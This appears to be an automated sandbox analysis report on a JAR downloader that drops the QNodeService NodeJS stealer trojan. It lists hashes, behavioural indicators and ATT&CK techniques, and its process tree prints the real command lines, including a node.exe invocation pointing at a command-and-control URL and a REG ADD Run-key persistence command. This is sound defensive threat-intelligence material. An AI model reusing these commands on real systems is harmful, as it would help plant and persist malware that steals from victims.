qnodeservice | ba20f01565a3d7a9660f5bb5f3cbb1a9aa5bd9f085302d38d9874f99b70dde1a

General

Target

Inv. BL_PL.jar
Size

12KB
MD5

24d9c77865b6574dd50f830fe59668fb
SHA1

70ac5db53f5416b62587b84bff700a8d1c7678ef
SHA256

ba20f01565a3d7a9660f5bb5f3cbb1a9aa5bd9f085302d38d9874f99b70dde1a
SHA512

0363b44403c147f5671713dd8ff0e6a6392c6013294500586472195822104845e34298f51afcf4646fe4e23adb2d78d356b7960bf2c7288d120d9500830604ae

Score

10^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 3736	1632	java.exe	73
PID 1632 wrote to memory of 3736	1632	java.exe	73
PID 3736 wrote to memory of 3824	3736	node.exe	74
PID 3736 wrote to memory of 3824	3736	node.exe	74
PID 3824 wrote to memory of 2668	3824	cmd.exe	75
PID 3824 wrote to memory of 2668	3824	cmd.exe	75
PID 3736 wrote to memory of 3584	3736	node.exe	76
PID 3736 wrote to memory of 3584	3736	node.exe	76

Executes dropped EXE 2 IoCs

pid	Process
3736	node.exe
3584	node.exe

JavaScript code in executable 2 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad69-107.dat	js
behavioral2/files/0x000100000001ad69-113.dat	js

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfab-109.dat	family_qnodeservice

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Loads dropped DLL 4 IoCs

pid	Process
3584	node.exe
3584	node.exe
3584	node.exe
3584	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3584	node.exe
3584	node.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	wtfismyip.com
18	wtfismyip.com

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-8206f221 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-8206f221.cmd\""	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Inv. BL_PL.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://danmax.dynip.online
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:3736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-8206f221" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-8206f221.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3824
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-8206f221" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-8206f221.cmd\""
      4⤵
      Adds Run key to start application
      PID:2668
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://danmax.dynip.online
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:3584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3584-114-0x000000B21D080000-0x000000B21D081000-memory.dmp

Filesize
4KB

Download
memory/3736-108-0x000000FC25D40000-0x000000FC25D41000-memory.dmp

Filesize
4KB

Download

Analysis

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